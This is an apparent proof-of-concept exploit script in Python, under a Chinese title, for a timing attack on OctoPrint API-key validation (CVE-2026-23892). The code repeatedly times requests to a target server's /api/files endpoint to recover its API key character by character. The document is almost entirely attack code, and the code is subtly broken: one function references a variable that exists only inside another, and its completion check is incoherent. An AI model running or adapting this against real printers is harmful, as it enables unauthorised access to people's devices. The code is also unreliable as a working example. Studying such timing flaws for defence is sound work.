CVE-2026-23892 OctoPrint时序攻击API密钥提取漏洞

# CVE-2026-23892 Timing Attack PoC (Theoretical) # This PoC demonstrates the timing attack concept against OctoPrint API key validation # Note: Actual exploitation requires controlled network conditions and statistical analysis import requests import time import statistics from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-octoprint:5000/api" KNOWN_PREFIX = "" # Start empty, build character by character CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" def test_api_key(api_key): """Send a test request with the given API key and measure response time.""" headers = {"X-Api-Key": api_key} start = time.perf_counter() try: response = requests.get(f"{TARGET_URL}/files", headers=headers, timeout=5) except: pass end = time.perf_counter() return end - start def measure_timing(api_key, samples=20): """Measure average response time for multiple requests.""" times = [] for _ in range(samples): t = test_api_key(api_key) times.append(t) time.sleep(0.1) # Small delay between requests return statistics.mean(times) def find_next_char(current_prefix): """Find the next character in the API key using timing differences.""" timings = {} for char in CHARSET: test_key = current_prefix + char avg_time = measure_timing(test_key) timings[char] = avg_time print(f"Testing '{char}': avg time = {avg_time:.6f}s") # Find character with longest average response time # (assuming correct prefix results in longer comparison time) best_char = max(timings, key=timings.get) return best_char def crack_api_key(max_length=32): """Attempt to crack the API key character by character.""" api_key = KNOWN_PREFIX for i in range(max_length): next_char = find_next_char(api_key) api_key += next_char print(f"Progress: {api_key}") # Check if we've completed the key (no timing difference) if i > 0 and timings[next_char] < 0.001: break return api_key # Example defensive check: verify if target is vulnerable def check_vulnerability(): """Check if OctoPrint uses constant-time comparison.""" print("Checking for timing vulnerabilities...") # This would require comparing response times for keys that # match/don't match at different positions pass if __name__ == "__main__": print("CVE-2026-23892 - OctoPrint Timing Attack PoC") print("Warning: This is a theoretical demonstration") print("Actual exploitation requires significant network control") # crack_api_key()